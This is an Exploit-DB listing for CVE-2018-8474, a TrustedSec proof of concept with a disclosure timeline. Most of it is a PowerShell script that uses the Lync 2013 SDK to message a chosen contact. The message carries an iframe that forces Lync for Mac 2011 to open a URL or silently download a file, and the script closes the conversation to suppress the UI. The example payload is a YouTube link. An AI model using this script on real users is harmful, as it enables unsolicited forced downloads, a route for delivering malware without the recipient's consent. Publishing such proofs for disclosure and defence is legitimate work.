Microsoft Lync for Mac 2011 - Injection Forced Browsing/Download

EDB-ID: 45936
Author: nyxgeek
Published: 2018-12-04
CVE: CVE-2018-8474
Type: Dos
Platform: Windows
Aliases: N/A
Advisory/Source: Link
Tags: N/A
Vulnerable App: N/A

 # Author: @nyxgeek - TrustedSec 

# Date: 2018-03-20
# Vendor Homepage: microsoft.com
# Software Link: https://www.microsoft.com/en-us/download/details.aspx?id=36517
# CVE: CVE-2018-8474
# Version: Lync:Mac 2011 14.4.3, likely earlier versions
# Tested on: Lync:Mac 2011 14.4.3 (170308)

# Description:
# Force browsing or download via embedded iframe in a chat window. No user
# interaction required. When the iframe contains a web site URL, a new browser
# window of the default browser will open with the URL.
# If the URL is a file, it will download it automatically if it is a permitted
# file type (e.g., zip)

# A write-up can be found at:
# https://www.trustedsec.com/2018/09/full-disclosure-microsoft-lync-for-mac-2011-susceptible-to-forced-browsing-download-attack/

# Requirements: Originating machine needs Lync 2013 SDK installed
# (https://www.microsoft.com/en-us/download/details.aspx?id=36824)

# Timeline of Disclosure:
#
# 07/18/2017 - Reported issue to Microsoft
# 11/22/2017 - Microsoft has reproduced problem
# 03/07/2018 - Microsoft replies that they have decided not to fix, but gave
# their blessing for disclosure


#target user
$target = "[email protected]"

$message = "<iframe src='https://www.youtube.com/watch?v=9Rnr70wCQSA'></iframe>"


if (-not (Get-Module -Name Microsoft.Lync.Model))
{
try
{
# you may need to change the location of this DLL
Import-Module "C:\Program Files\Microsoft Office\Office15\LyncSDK\Assemblies\Desktop\Microsoft.Lync.Model.dll" -ErrorAction Stop
}
catch
{
Write-Warning "Microsoft.Lync.Model not available, download and install the Lync 2013 SDK http://www.microsoft.com/en-us/download/details.aspx?id=36824"
}
}

# Connect to the local Skype process
try
{
$client = [Microsoft.Lync.Model.LyncClient]::GetClient()
}
catch
{
Write-Host "`nYou need to have Skype open and signed in first"
break
}

#Start Conversation
$msg = New-Object "System.Collections.Generic.Dictionary[Microsoft.Lync.Model.Conversation.InstantMessageContentType, String]"

#Add the Message
$msg.Add(1,$message)

# Add the contact URI
try
{
$contact = $client.ContactManager.GetContactByUri($target)
}
catch
{
Write-Host "`nFailed to lookup Contact"$target
break
}


# Create a conversation
$convo = $client.ConversationManager.AddConversation()
$convo.AddParticipant($contact) | Out-Null

# Set the message mode as IM
$imModality = $convo.Modalities[1]
# Send the message
$imModality.BeginSendMessage($msg, $null, $imModality) | Out-Null
# End the Convo to suppress the UI
$convo.End() | Out-Null

Write-Host "Sent the following message to "$target":`n"$message

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